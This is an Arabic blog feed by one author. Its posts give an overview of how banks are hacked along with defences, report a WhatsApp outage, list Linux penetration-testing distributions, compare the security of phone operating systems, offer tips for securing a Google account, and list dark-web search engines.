كيفية اختراق البنوك وطرق تعزيز أمانها

noreply@blogger.com (Ammar Ahmad) — Tue, 31 Oct 2023 12:48:00 +0000

أصبحت البنوك هدفاً رئيسياً للقراصنة الإلكترونيين والمجرمين السيبرانيين نظراً للمعلومات الحساسة والأموال التي تخزنها ، لذا يجب أن تكون البنوك مهتمة بتطوير استراتيجيات قوية لمكافحة الاختراق وحماية عملائها من الهكر ، في هذا المقال سنتطرق إلى كيفية يتم اختراق البنوك من قبل الهكرز وكيف يمكن تعزيز أمانها بشكل ملخص.

طرق اختراق البنوك

إن اختراق البنوك هو عملية قرصنة تهدف إلى الوصول غير المصرح به إلى معلومات حسابات العملاء أو إلى النظام المصرفي بشكل عام ، وتهدف عمليات القرصنة هذه إلى الحصول على المال أو البيانات الشخصية الحساسة للعملاء من أجل الاستفادة منها بطرق غير قانونية ، وتوجد عدة طرق يستخدمها الهكر في اختراق البنوك ، ومن بين أكثر الطرق شيوعًا هي:

الهجمات الالكترونية المتقدمة: تشمل هذه الهجمات استخدام برامج خبيثة مثل الفيروسات وبرامج التجسس وبرامج التروجان وبرامج الفدية للوصول إلى نظام البنك وسرقة المعلومات و يتم توزيع هذه البرامج غالبًا عن طريق البريد الإلكتروني الاحتيالي أو المواقع الإلكترونية الغير الآمنة.
الهجمات الهاجسة: تعتمد على ثغرات في برمجيات البنوك المستخدمة أو الأجهزة الأمنية للوصول إلى حسابات العملاء و يمكن أن تتضمن هذه الهجمات استغلال ثغرات برامج الحماية أو ابتكار الهجمات الخبيثة لكشف كلمة المرور أو استخدام تقنيات الهندسة الاجتماعية للتلاعب بموظفي البنك.
الاحتيال عبر الهاتف أو الرسائل النصية: يقوم المحتالون بالتظاهر بأنهم من البنك ويتصلون بالعملاء أو يرسلون رسائل نصية للاحتيال عليهم وسرقة معلوماتهم الشخصية أو البنكية. عادةً ما يتم إقناع العملاء بإدخال تفاصيل حسابهم في صفحة ويب مزيفة تشبه تمامًا الصفحة الرسمية للبنك.
استخدام الشبكات اللاسلكية المفتوحة: تستغل الشبكات اللاسلكية العامة أو المفتوحة التي يمكن الوصول إليها بسهولة لتنفيذ هجمات التجسس أو اختراق المعلومات و تعتبر الشبكات غير المشفرة خطرة لأن المعلومات التي يتم تبادلها يمكن اعتراضها بسهولة من قبل الهكر.
هجمات الفيشنك: إيهام المستخدمين بأنهم يقومون بإدخال معلوماتهم الشخصية الحساسة على موقع حقيقي لاحتيالهم ، كإدخال بطاقاتهم البنكية أو معلومات حساب البنك الخاص بهم ، و بعد إدخال هذه المعلومات يتم إعادة توجيه الضحية إلى موقع البنك الأصلي و لكن في ذات اللحظة يحصل المخترق على كامل المعلومات الخاص بالشخص المستهدف.

خطوات تعزيز أمان البنوك

استخدام تقنيات التشفير المتقدمة: تعزيز الاتصالات وتشفير المعلومات لحمايتها من الوصول غير المصرح به.
التحقق المتعدد العوامل: استخدام أكثر من طريقة للتحقق من هوية المستخدم، مثل كلمة مرور قوية ورمز مرسل للهاتف ومطابقة لعناوين الـ IP الخاصة بالمستخدم.
بنية الشبكة الآمنة: تأكد من وجود إعدادات الشبكة الأمنة واستخدام جدران الحماية والأنظمة المضادة للاختراق.
الوعي بالتهديدات: توعية الموظفين والعملاء بالطرق التي يمكن استخدامها للاختراق وتبني الحذر في مشاركة المعلومات الحساسة.
اختبار اختراق البنك: توظيف قراصنة أخلاقيين لاختبار تحديات الأمان الحالية وتحديد الثغرات وإصلاحها حيث يساهم هذا الأمر في حماية البنك من الاختراق بشكل كبير جداً وذلك من خلال إغلاق الثغرات التي يمكن استغلالها من قبل الهكر الغير أخلاقيين.
تقنية البلوكشين: استخدام تقنية البلوكشين لزيادة أمان المعاملات وتقليل فرص الاختراق.
الذكاء الاصطناعي وتحليل البيانات: استخدام التحليلات التنبؤية لتحديد أنشطة غير طبيعية ورفع التحذيرات في وقت قريب.
تصميم أجهزة بنوك ذكية: تطوير بنوك ذات أنظمة مطورة تحمي بيانات العملاء وتشفر اتصالاتهم.

ختاماً ، بناء أمان البنوك ليس مهمة سهلة، إلا أنها ضرورية لضمان حماية المعلومات الحساسة للعملاء وصون سمعة البنك، و يجب أن تتناول البنوك بشكل جدي وجود استراتيجيات قوية لمكافحة الاختراق والحفاظ على الأمان، وأن تستثمر في التطورات التكنولوجية لمواكبة التهديدات المتزايدة في عالم السيبرانية ، إذا رأيت هذا الموضوع مفيداً اكتب لي في التعليقات وشاركه مع غيرك لتعم الفائدة.

مشكلة عالمية في تطبيق واتساب تتسبب في إيقافه !

noreply@blogger.com (Ammar Ahmad) — Wed, 19 Jul 2023 21:04:00 +0000

هل يوجد مشكلة في الواتس اب اليوم 2023

في تاريخ 19 يوليو 2023 م في يوم الأربعاء و تحديداً في الساعة 11:10 قبل منتصف الليل ، توقف تطبيق واتساب عن الخدمة وبات غير قادراً على إرسال و استقبال الرسائل بكافة أنواعها ، و قد أعلن الكثير من مستخدمي تطبيق الوتس اب عن وجود نفس العطل في كافة دول العالم ، إلا أن الشركة الرسمية القائمة على تطبيق واتس اب وهي شركة ميتا meta لم تتحدث حتى هذه اللحظة عن وجود خلل في التطبيق أو توقفه عن الخدمة مؤقتاً على أجهزة اندرويد ، بالرغم من أن بقية تطبيقاتها مازلت تعمل بشكل سليم دون أي مشاكل مثل الفيس بوك ، و استمر تطبيق whatsapp في التوقف عن الخدمة لمدة 40 دقيقة تقريباً.

اكتب لنا رأيك ، هل يوجد عندك مشكلة في الواتس اب اليوم وهل واجهت مشكلة عدم إرسال أو استقبال الرسائل ومن اي دولة أنت.

أفضل وأقوى 6 أنظمة لينكس للاختراق والهكر

noreply@blogger.com (Ammar Ahmad) — Thu, 06 Jul 2023 09:59:00 +0000

يعد الاختراق الأخلاقي (Ethical Hacking) أحد المجالات الهامة في مجال الأمن السيبراني ، و يستخدم المخترقون الأخلاقيون أدوات وتقنيات متعددة لاختبار أمان الأنظمة وتحديد الثغرات المحتملة ، و واحدة من أهم الأدوات في مجال الاختراق الأخلاقي هي أنظمة لينكس linux المخصصة لهذا الغرض ، لذا في هذا المقال، سوف نستعرض عليكم أفضل أنظمة لينكس المستخدمة في الاختراق الأخلاقي والتحقيق الأمني و أقوى نظام اختراق في العالم.

نظام كالي لينكس Kali Linux

نظام Kali Linux هو توزيعة Linux مبنية على نظام Debian و نظام تشغيل للاختراق وتم تطويرها بواسطة شركة Offensive Security، ويعتبر كالي أحد أنظمة التشغيل الشهيرة في مجال الاختراق الأخلاقي واختبار الأمان السيبراني ، كما تم تصميمه لتوفير بيئة قوية وشاملة للمختبرين الأمنيين وأخصائيي الأمان لاختبار الثغرات وتقييم الأنظمة والشبكات ويحتوي على أكثر من 600 أداة متنوعة في مجال الاختراق الأخلاقي و الهكر.

بعض الميزات الرئيسية لنظام Kali Linux

أدوات اختبار الاختراق: يأتي Kali Linux محملاً بمجموعة كبيرة من أدوات اختبار الاختراق والأمان السيبراني، مثل أدوات الاستطلاع واكتشاف الثغرات واختبار التطبيقات والتجاوز والاختراق الشبكات اللاسلكية و السلكية وأدوات استرداد كلمات المرور وغيرها الكثير.
دعم متعدد للأجهزة: يمكن تثبيت Kali Linux على مجموعة متنوعة من الأجهزة، بما في ذلك أجهزة الكمبيوتر المكتبية وأجهزة الكمبيوتر المحمولة وأجهزة Raspberry Pi وأجهزة ARM والأجهزة الظاهرية.
واجهة مستخدم قوية: يعتمد Kali Linux على واجهة مستخدم GNOME التي توفر تجربة استخدام سهلة ومرنة، كما يحتوي على قوائم وأدوات سهلة الوصول وميزات تخصيص لتلبية احتياجات المستخدمين.
التحديث المنتظم: يتم تحديث Kali Linux بانتظام لضمان حصول المستخدمين على أحدث الأدوات والتحديثات الأمنية ، ويمكن للمستخدمين استخدام أداة APT لتحديث النظام وتثبيت البرامج الجديدة.
المجتمع والدعم: يحظى Kali Linux بمجتمع نشط من المستخدمين والمطورين.

نظام التشغيل باروت Parrot Security OS

نظام Parrot Security OS هو نظام تشغيل للكمبيوتر مبني على نظام Debian Linux، و يعتبر Parrot Security OS توزيعة Linux مصممة خصيصًا للأمان السيبراني والاختبار الأمني ، و يهدف النظام إلى توفير بيئة قوية وموثوقة لمختبري الأمان ومحترفي الاختراق والمستخدمين الذين يهتمون بالخصوصية والأمان السيبراني ، وهو شبيه إلى حد ما لنظام كالي لينكس.

بعض الميزات الرئيسية لنظام Parrot Security OS

الأدوات الأمنية: يتضمن Parrot Security OS مجموعة كبيرة من أدوات الأمان واختبار الاختراق، بما في ذلك أدوات الاستطلاع واكتشاف الثغرات والاختراق واختبار التطبيقات واسترداد كلمات المرور والتجاوز والتشفير وغيرها.
الخصوصية والأمان: يتم تكوين Parrot Security OS بشكل يضمن الخصوصية والأمان السيبراني، و يتضمن ذلك توفير الاتصالات المشفرة والحفاظ على الأدوات والتحديثات الأمنية الحديثة.
الواجهة البديهية: يستخدم Parrot Security OS واجهة مستخدم Mate أو KDE السهلة الاستخدام والتي توفر تجربة مريحة ومألوفة للمستخدمين.
التحديثات المنتظمة: يتلقى Parrot Security OS تحديثات منتظمة للنظام والأدوات المضمنة فيه، وهذا يسمح بالحصول على أحدث التحسينات والتحديثات الأمنية.
الدعم المجتمعي: يحظى Parrot Security OS بدعم قوي من قبل المجتمع ، كما يتم توفير منتديات ومجموعات دردشة ومستودعات للمساعدة وتبادل المعرفة والخبرات بين المستخدمين.

نظام التشغيل باك بوكس BackBox

نظام BackBox هو نظام تشغيل للكمبيوتر أيضاً ، مبني على نظام Ubuntu Linux ، و يُعد BackBox توزيعة Linux مصممة خصيصًا للاستخدام في اختبار الاختراق والأمان السيبراني ، كما يهدف النظام إلى توفير بيئة قوية ومستقرة لمحترفي الأمان السيبراني وأخصائيي الاختراق لاختبار أنظمة المعلومات وتقييم ثغرات الأمان.

بعض الميزات الرئيسية لنظام BackBox

أدوات الاختراق: يحتوي BackBox على مجموعة واسعة من أدوات اختبار الاختراق واكتشاف الثغرات، بما في ذلك أدوات لاختبار الشبكات، واختبار التطبيقات، واكتشاف الثغرات في نظام التشغيل وغيرها.
واجهة سهلة الاستخدام: يتميز BackBox بواجهة مستخدم بديهية تسهل التنقل واستخدام الأدوات المختلفة، و يعتمد على بيئة سطح المكتب XFCE التي تعطي توازنًا بين الأداء وسهولة الاستخدام.
الأمان والاستقرار: يعتمد BackBox على نظام التشغيل Ubuntu Linux الذي يوفر ميزات أمان واستقرار عالية، تم تكوين النظام بطريقة تعزز الأمان وتحافظ على استقرار النظام.
المجتمع والدعم: يحظى BackBox بمجتمع نشط من المستخدمين والمطورين الذين يقدمون الدعم والمساعدة ، ويمكن للمستخدمين طرح الأسئلة وتبادل المعرفة في المنتديات وقنوات الدردشة الخاصة بالمجتمع.

نظام التشغيل بلاك أرش لينكس BlackArch Linux

نظام BlackArch Linux هو توزيعة Linux قوية مخصصة لاختبار الاختراق والأمان السيبراني ، ويحتوي BlackArch Linux على مجموعة متخصصة من الأدوات والبرامج التي تستخدم في اختبار الثغرات وتقييم الأمان للشبكات والأنظمة ، حيث يحتوي على أكثر من 2000 أداة متنوعة المهام التي يمكن استخدامها من قبل أي هكر أخلاقي.

بعض الميزات الرئيسية لنظام BlackArch Linux

مكتبة كبيرة من أدوات الاختراق: يحتوي BlackArch Linux على مكتبة ضخمة من أدوات اختبار الاختراق واكتشاف الثغرات والأمان السيبراني، و تتنوع هذه الأدوات بين اختبار الشبكات والتطبيقات واستعادة كلمات المرور والتشفير والتجاوز وأكثر من ذلك بكثير.
البنية المحسَّنة: تم تصميم BlackArch Linux بعناية لتوفير بيئة قوية ومستقرة لاختبار الأمان واكتشاف الثغرات، و يتم تحديث النظام بانتظام لضمان الأداء الأمثل والأمان.
الواجهة المستخدمة: يمكن تثبيت BlackArch Linux على أنظمة مختلفة واختيار واجهة المستخدم المفضلة ، و يمكن استخدام البيئات المكتبية المختلفة مثل KDE وXfce وغيرها.
الدعم المجتمعي: يتمتع BlackArch Linux بدعم قوي من قبل مجتمع نشط من المستخدمين والمطورين ،و يتم تقديم الدعم والمساعدة عبر المنتديات والقنوات الأخرى.

نظام ديفت لينكس DEFT Linux للتحقيق الرقمي

نظام DEFT Linux والذي يرمز إلى (Digital Evidence & Forensic Toolkit) ، وهو توزيعة Linux متخصصة في التحقيق الرقمي وتحليل الأدلة الرقمية ، و تم تطوير DEFT Linux بواسطة مختبر تحليل الأدلة الرقمية في جامعة تورينو في إيطاليا ، لتكمن مهمة هذه التوزيعة في التحقيقات الرقمية و كشف البرامج الضارة و استرجاع الملفات من الأقراص الصلبة و غيرها.

بعض الميزات الرئيسية لنظام DEFT Linux

أدوات التحقيق الرقمي: يحتوي DEFT Linux على مجموعة واسعة من الأدوات والبرامج المتخصصة في التحقيق الرقمي وتحليل الأدلة الرقمية ، وتتضمن هذه الأدوات استخراج البيانات، واستعادة الملفات المحذوفة، وتحليل الصور والفيديوهات الرقمية، وتحليل الشبكات، وفحص الأجهزة الرقمية، وأكثر من ذلك .
الاستدامة والقابلية للنقل: يمكن تشغيل DEFT Linux من الوسائط المحمولة مثل الأقراص الصلبة الخارجية أو أقراص USB دون الحاجة إلى التثبيت، ويسهل حمل DEFT Linux معك واستخدامه على الأجهزة المختلفة دون التأثير على النظام المثبت.
الدعم للأدلة الرقمية: يدعم DEFT Linux العديد من أنواع الأدلة الرقمية، بما في ذلك الأقراص الصلبة والأقراص المدمجة والأقراص الفلاش والهواتف الذكية والأجهزة اللوحية والأجهزة الرقمية الأخرى.
واجهة مستخدم بديهية: يتميز DEFT Linux بواجهة مستخدم سهلة الاستخدام وبديهية، مما يسهل على المحققين الرقميين وفنيي الأدلة الرقمية تنفيذ عمليات التحقيق والتحليل بسهولة و سلاسة.

نظام التشغيل Samurai WTF

نظام Samurai WTF ، و الذي يرمز إلى (Samurai Web Testing Framework) ، وهو توزيعة Linux مصممة خصيصًا لاختبار الأمان واختبار الاختراق لتطبيقات الويب والمواقع الإلكترونية ، و تم تطوير Samurai WTF بواسطة فريق Samurai وهو مشروع مفتوح المصدر ويحتوي على أدوات مخصصة لاختراق شبكات الويب وكشف الثغرات فيها.

بعض الميزات الرئيسية لنظام Samurai WTF

أدوات اختبار الأمان: يحتوي Samurai WTF على مجموعة شاملة من أدوات اختبار الأمان المتعلقة بتطبيقات الويب، و تشمل هذه الأدوات اكتشاف الثغرات والضعف في الأمان واختبار التطبيقات والتحقق من التحصين ومراقبة الشبكة والمزيد.
السهولة في الاستخدام: يتم توفير Samurai WTF بتنسيق جاهز للاستخدام وسهل التثبيت، يمكن تشغيله على أجهزة فيزيائية أو افتراضية أو عبر الشبكة.
التوثيق والتعليم: يتم توفير موارد تعليمية شاملة تساعد على فهم استخدام وتطبيق أدوات Samurai WTF ،و يتضمن ذلك دليل المستخدم والتوثيق الفني ومقاطع الفيديو التعليمية والمنتديات.
التحديثات المنتظمة: يتم تحديث Samurai WTF بانتظام لضمان توافقه مع أحدث التطورات في مجال اختبار الأمان وتطبيقات الويب ، و يتم توفير التحديثات والتصحيحات للمستخدمين لضمان الأمان والأداء الأمثل.

ختاماً توفر أنظمة لينكس المذكورة أعلاه مجموعة شاملة من الأدوات والتطبيقات المخصصة للاختراق الأخلاقي والاختبار الأمني ، بكل دقة وقوة ومع ذلك، يجب أن يتم استخدام هذه الأدوات بشكل قانوني وأخلاقي وبموافقة صاحب النظام الذي يتم اختباره، وينبغي للمخترقين الأخلاقيين أن يكونوا على دراية بقوانين الأمان السيبراني والتعامل المسؤول مع الأنظمة والشبكات التي يتعاملون معها ، ويمكن الحصول بكل سهولة على هذه الأنظمة بشكل مجاني من المواقع الرسمية لها بمجرد كتابة اسمها في متصفح الانترنت ، كانت هذه أفضل و أقوى التوزيعات لأنظمة لينكس المخصصة في الاختراق الاخلاقي ، اكتب لنا أنت ما هو نظامك المفضل في القرصنة الأخلاقية ودعنا نستفيد!.

أفضل أنظمة الهواتف من ناحية الأمان والخصوصية

noreply@blogger.com (Ammar Ahmad) — Fri, 16 Jun 2023 02:33:00 +0000

في عصر الاتصالات الحديثة والتكنولوجيا المتقدمة، أصبح الأمان والخصوصية أمرين حاسمين عند اختيار هاتف ذكي، فمع تزايد المخاطر الأمنية وزيادة التطفل على البيانات الشخصية، يبحث الكثير من الأشخاص عن أنظمة توفر حماية قوية لمعلوماتهم الحساسة وتحمي خصوصيتهم، فبناءً على هذا الأمر قررنا أن نكتب لكم هذا المقال والذي سوف نستعرض فيه أفضل أنظمة الهواتف من حيث الأمان والخصوصية لنهاية عام 2023 و أفضل جوال من ناحية الأمان 2022، وسنقدم دليلًا شاملاً لمساعدتك في اتخاذ القرار الصحيح.

أفضل نظام هاتف للحماية

نظام التشغيل iOS

نظام التشغيل iOS الذي يستخدمه هواتف iPhone يعتبر واحدًا من أفضل الأنظمة من ناحية الأمان والخصوصية ، حيث تضع شركة Apple معايير صارمة لتطبيقات App Store وتوفر تحديثات أمان منتظمة، كما يتميز iOS بتشفير البيانات والخصوصية العالية للمستخدمين وإمكانية التحكم في إعدادات الخصوصية والأذونات لكل تطبيق يتم تثبيته.

نظام Android

نظام التشغيل Android هو الأكثر انتشارًا في عالم الهواتف الذكية، ومع ذلك، يعاني بعض المستخدمين من قضايا الأمان والخصوصية بسبب جمع البيانات من قبل بعض الشركات والتطبيقات، ومع ذلك، هناك إصدارات مخصصة من Android مثل LineageOS وGrapheneOS تهدف إلى توفير خصوصية محسنة وأمان قوي، و تقدم هذه الإصدارات تجربة أندرويد Android بدون خدمات Google، مما يقلل من التتبع ويسمح للمستخدمين بالتحكم الكامل في بياناتهم.

نظام BlackBerry

تشتهر أجهزة BlackBerry بمستوى عالٍ من الأمان والتشفير، و توفر هذه الأجهزة ميزات متقدمة للأمان والخصوصية مثل تشفير البيانات والبريد الإلكتروني، والمناطق الآمنة لتشغيل التطبيقات وإعدادات الوصول المحددة للتطبيقات والملفات.، إذا كنت تهتم بمستوى عالٍ من الأمان، فقد تعتبر BlackBerry خيارًا جيدًا بالنسبة لك.

نظام /e/OS أو Eelo سابقاً

/e/OS هو نظام تشغيل قائم على Android يهدف إلى توفير حماية محسنة وخصوصية مطورة للمستخدمين ،حيث يزيل /e/OS الخدمات المرتبطة بشركة Google ويوفر بدائل خاصة به، مما يقلل من تتبع البيانات ويحسن الخصوصية ، و يأتي مع تطبيقات بديلة للخدمات المشهورة وتشفير البيانات، مما يجعله خيارًا جذابًا لمن يهتمون بالأمان والخصوصية.

افضل نظام هاتف للحماية

في النهاية قدمنا لكم مجموعة هواتف يصعب اختراقها و موبايلات ضد التجسس، لذا يجب أن يكون اختيار نظام الهاتف المناسب يعتمد على احتياجاتك الشخصية ومتطلباتك في الأمان والخصوصية، و لا تنسى أن الأمان والخصوصية ليست مسؤولية النظام الوحيد، بل تعتمد أيضًا على الممارسات الأمنية التي تتبعها أثناء استخدام الهاتف ، استشر دائماً الخبراء واطلع على آراء المستخدمين الآخرين للحصول على نصائح وتوجيهات إضافية، و قم بالبحث جاهداً واختر النظام الذي يلبي احتياجاتك الأمنية والخصوصية بأفضل طريقة ممكنة قبل أن تضع بياناتك الحساسة في الجهاز.

كيفية حماية حساب جوجل من الاختراق نصائح لتعزيز الأمان الرقمي

noreply@blogger.com (Ammar Ahmad) — Fri, 16 Jun 2023 01:44:00 +0000

تعتبر حماية حسابك على غوغل أمرًا بالغ الأهمية في العصر الرقمي الحديث، فحسابك يتضمن الكثير من المعلومات الحساسة والبيانات الشخصية التي تستحق الحماية، لذا في هذا المقال، سنقدم لك بعض النصائح القوية لتعزيز أمان حسابك على جوجل وحماية بياناتك الشخصية من الوصول غير المصرح به وخطوات حماية حساب جوجل من الاختراق وكيفية تأمين حسابي في google.

كيفية حماية حسابك على غوغل

استخدم كلمة مرور قوية وفريدة

لتأمين حسابي على غوغل أولاً قم بإنشاء كلمة مرور قوية وفريدة لحسابك على غوغل، تجنب استخدام كلمات المرور الضعيفة أو السهلة التخمين مثل تواريخ الميلاد أو أسماء الأشخاص المقربين منك، استخدم مجموعة متنوعة من الأحرف الكبيرة والصغيرة والأرقام والرموز الخاصة.

قم بتمكين المصادقة ذات العوامل المتعددة (MFA)

المصادقة ذات العوامل المتعددة هي طريقة فعالة لحماية حسابك، عند تمكينها ستحتاج إلى إدخال رمز أو رمز مرسل إلى هاتفك المحمول أو عنوان بريدك الإلكتروني البديل بجانب كلمة المرور للدخول إلى حسابك، هذا يعزز الحماية بشكل كبير ويصعب اختراق حسابك في غوغل.

مراجعة وتحديث إعدادات الأمان الخاصة بحسابك

استكشف وضبط إعدادات الأمان في حسابك على غوغل، حيث قم بتفعيل الإشعارات عند تسجيل الدخول من أجهزة غير معتادة أو المحاولات المشبوهة، كما يمكنك تعيين أسئلة الأمان الإضافية التي تساعد على حماية حسابك.

أفضل النصائح لتعزيز أمان حسابك على غوغل

افحص الأنشطة الأخيرة والأجهزة المتصلة

قم بمراجعة الأنشطة الأخيرة المرتبطة بحسابك على غوغل ، حيث يمكنك معرفة الأجهزة والتطبيقات التي قامت بتسجيل الدخول إلى حسابك وتحديد أي نشاط غير معتاد، وإذا لاحظت أي نشاط مشبوه، قم بتسجيل الخروج من جميع الأجهزة وقم بتغيير كلمة المرور.

تنبيهات التسجيل والتنبيهات الأمنية

من أجل حماية حساب جوجل من الاختراق قم بتفعيل التنبيهات والتنبيهات الأمنية التي توفرها شركة غوغل ، ومن خلال ذلك ستتلقى إشعارات إذا كانت هناك محاولات دخول غير معتادة أو نشاط مشبوه في حسابك ، وهذا يسمح لك بالتصرف بسرعة واتخاذ إجراءات إضافية لحماية حسابك من المخترقين.

تحديث البرامج والتطبيقات

تأكد من أن جميع البرامج والتطبيقات المستخدمة على أجهزتك محدثة بأحدث الإصدارات ، و تحديثات البرامج تشمل التصحيحات الأمنية والتحسينات التي تساعد في منع الثغرات والاختراقات.

الحذر من رسائل البريد الإلكتروني الاحتيالية

كن حذرًا عندما تتلقى رسائل بريد إلكتروني غير معتادة أو طلبات غريبة تطلب منك تسجيل الدخول أو تقديم معلومات شخصية ، وتأكد دائمًا من هوية المرسل والتحقق من صحة الرسالة قبل اتخاذ أي إجراءات أو النقر على أي روابط.

استخدم تشفير HTTPS

تأكد أنك تستخدم اتصال HTTPS آمن عند الوصول إلى حسابك على غوغل ،وهذا يضمن أن البيانات المرسلة والمستلم بأنها تمر بشكل آمن ومشفر.

احتفظ بنسخة احتياطية للبيانات

قم بإنشاء نسخ احتياطية للبيانات المهمة المخزنة في حسابك على غوغل، حيث يمكنك استخدام خدمات النسخ الاحتياطي المتاحة مثل Google Drive لحفظ الملفات والصور والمستندات الهامة بشكل منتظم ، وهذا يساعدك في استعادة البيانات في حالة حدوث خسائر أو تعرض حسابك للاختراق.

استخدم خدمات الأمان الإضافية

شركة جوجل توفر مجموعة من الخدمات الإضافية لتعزيز أمان حسابك ، على سبيل المثال، يمكنك تفعيل "التحقق في خطوتين" لتأكيد هويتك عند تسجيل الدخول وإجراء الإعدادات الحساسة ، و كما يمكنك تفعيل خدمة "التحقق عند الاشتباه في الحساب" التي ترسل إشعارات إذا تم الاشتباه في أن حسابك قد تعرض للخطر.

ختاماً تحافظ شركة غوغل العملاقة على مستوى عالٍ من الأمان، ولكن لا يمكن التنبؤ بالهجمات السيبرانية بنسبة 100% ، ومن خلال اتباع هذه النصائح، يمكنك تعزيز أمان حسابك على غوغل والحفاظ على بياناتك الشخصية في أمان تام، و تذكر دائمًا أن الوعي والاحتياط الشخصي هما مفتاح الأمان الرقمي، واحرص على تطبيق أفضل الممارسات الأمنية في جميع جوانب استخدامك للإنترنت والخدمات الرقمية بشكل عام.

روابط أفضل محركات بحث الديب ويب والدارك ويب

noreply@blogger.com (Ammar Ahmad) — Wed, 02 Nov 2022 21:51:00 +0000

روابط أفضل محركات بحث الديب ويب والدارك ويب

مرحباً بكم متابعي القرصان الإلكتروني للتعليم ، سنقدم لكم اليوم قائمة بأفضل راوابط لمواقع محركات بحث الديب ويب والدارك ويب لعام 2023 بشكل مجاني مع شرح كل موقع منها وكيف تصل إليه بشكل آمن .

تنبيه : لسنا مسؤولين عن أي شيء غير قانوني عند استخدام للإنترنت المظلم .

ما هو محرك بحث الإنترنت المظلم ؟

محرك بحث الويب المظلم هو أداة عبر الإنترنت مصممة للعثور على مواقع الويب على الجزء غير المفهرس من الإنترنت والمعروف باسم الديب ويب و الدارك ويب Deep Web Dark Web و مواقع الإنترنت المظلمة غير مدرجة في محركات البحث العادية ، ولكن يمكن لمحركات البحث العادية مثل غوغل مساعدتك في العثور عليها.

و تعد محركات البحث جزءًا لا يتجزأ من تجربة تصفح الويب ، ولكن يتم فهرسة حوالي 10٪ فقط من جميع مواقع الويب على محرك بحث نموذجي ، و لن تظهر المواقع المتبقية ، بما في ذلك تلك الموجودة على الانترنت المظلم ، عند البحث في Google مثلاً لا يمكن الوصول إليها إلا باستخدام عنوان URL مباشر أو عنوان IP أو تطبيق بحث ويب عميق و للتوضيح أكثر يتكون الإنترنت من جزأين:

الويب السطحي The surface web : المعروف أيضًا باسم clearnet ، حيث تتضمن شبكة الويب السطحية العديد من المواقع العامة التي نستخدمها عندما نتصفح الويب ، مثل المواقع الإخبارية ومواقع التجارة الإلكترونية ومواقع التواصل الاجتماعي وما إلى ذلك و يتم فهرسة جميع هذه المواقع على محركات البحث وبشكل مرئي للجميع.

الويب العميق The deep web : يتم إخفاء المواقع الموجودة على الديب ويب - والمعروفة أيضًا باسم invisible web ، و غالبًا ما تحتوي هذه المواقع على معلومات حساسة ويتم إخفاؤها خلف بروتوكولات حماية كلمة المرور وأنظمة الأمان الأخرى ، في حين أن البيانات الحكومية المصنفة والسجلات الصحية الحساسة موجودة في شبكة الدارك ويب ، فإن العديد من المواقع التي نستخدمها كل يوم هي أيضًا جزء من شبكة الديب ويب ، مثل حسابات البريد الإلكتروني والبوابات المصرفية الشخصية.

إذاً نعرف الآن بأن شبكة الإنترنت المظلم هي الجزء الأكبر من شبكة الانترنت السطحي ، و تنقسم الى قسمين وهما الديب ويب و الذي يعد في الطبقة الموسطة ، و الدارك ويب و الذي يكون في أعماق الإنترنت ، و لكن الشيء الذي لم تتعرف عليه الآن هو كيفية الوصول الى الانترنت المظلم ، فلكي تصل الى الانترنت المظلم يجب عليك أن تعلم بأنه يستخدم مستوى عالي من الآمان الخاصة بالمواقع و يطلق عليه عناوين تسمى بالبصلة أو .onion ، و لكي تستطيع فك تشفير هذه العناوين وزيارتها ، ستحتاج لاستخدام متصفح تور Tor .

راوابط لمحركات بحث الديب ويب لعام 2023

الشبكة المظلمة هي أكثر من مجرد بازار إلكتروني مشبوه لصفقات الأدوية والمعاملات الأخرى في أسواق الويب المظلمة ، و كما أنها تدعم الصحافة المستقلة ، وتوفر خدمات بريد إلكتروني آمنة ، وتسمح للأشخاص بالتهرب من الرقابة الحكومية والمراقبة و الكثير من الأشياء ، و قد تجد هناك موارد مفيدة على الديب ويب ، ولكن سوف تحتاج إلى محرك بحث خاص بالانترنت المظلم للعثور على ما تريده هناك ، و فيما يلي أفضل محركات بحث الديب ويب و الدارك ويب :

Torch

يعد محرك بحث Torch أقدم محرك بحث على شبكة الانترنت المظلم ، حيث يقوم Torch بفهرسة مجموعة من مواقع الويب والروابط المظلمة ، علاوة على ذلك ، فإن سرعات بحث في Torch سريعة نسبيًا ، و تأخذ Torch عدم الكشف عن هويتها عبر الإنترنت والهوية الرقمية على محمل الجد ، و يقدم النظام الأساسي نتائج بحث على الويب غير خاضعة للرقابة وغير مفلترة تماماً ، إلى جانب تقديم قائمة محركات بحث غير مقيدة وكما يمنع Torch أيضًا تتبع الويب ، ويمكنك أن تجد أي شيء تريده تقريباً في الديب ويب من خلاله وللوصول إليه انقر على : تورش .

DuckDuckGo

محرك بحث الديب ويب DuckDuckGo يشبه محرك بحث جوجل ، و يعتبر على نطاق واسع أحد أفضل محركات البحث الخاصة بالديب ويب ، فهو محرك البحث الافتراضي في متصفح Tor ، و يحتوي DuckDuckGo على واجهة بسيطة مع مربع بحث في منتصف الصفحة وقائمة نتائج البحث الخاصة به منسقة أيضًا مثل قائمة Google، وهو ليس مجرد محرك بحث ويب عميق ، بل يعمل DuckDuckGo أيضًا مع مواقع الويب السطحية كذلك ، يمتلك أيضًا سياسة عدم الاحتفاظ بالسجلات ، مما يعني أنه لا يحتفظ بسجل لسجل البحث أو تجمع بيانات مستخدم أخرى ، و يستخدم DuckDuckGo مع متصفح خاص مخصص ، وهو محرك بحث قوي وأداة خصوصية فعالة ، قد تساعدك في الحفاظ على أمانك بنسبة كبيرة عند استخدامك للإنترنت السطحي ورابط الوصول إليه : داك داك غو .

The Hidden Wiki

The Hidden Wiki هي نسخة الديب ويب من Wikipedia المتواجدة على الانترنت السطحي ، وعلى الرغم من أنه ليس محرك بحث ويب عميقًا ، إلا أنه يجعل التنقل في شبكة الإنترنت المظلم أسهل من خلال توفير دليل مصنف بروابط مفهرسة لمواقع الويب ".onion" ، بالإضافة إلى روابط الويب السطحية ، ولا يعد Hidden Wiki محرك بحث غير مقيد تمامًا ، لأنه يستخدم عوامل تصفية لحظر العديد من مواقع الاحتيال الموجودة على الديب ويب و الدارك ويب ولكن مثل العديد من محركات البحث الأخرى المزعومة غير القانونية ،يقوم بفهرسة بعض المواقع المشبوهة التي يحظرها Google ، و هو الدليل الشامل الذي سيقودك الى مواقع الدارك نت و رابط الوصول إليها : ويكي المخفية .

Ahmia

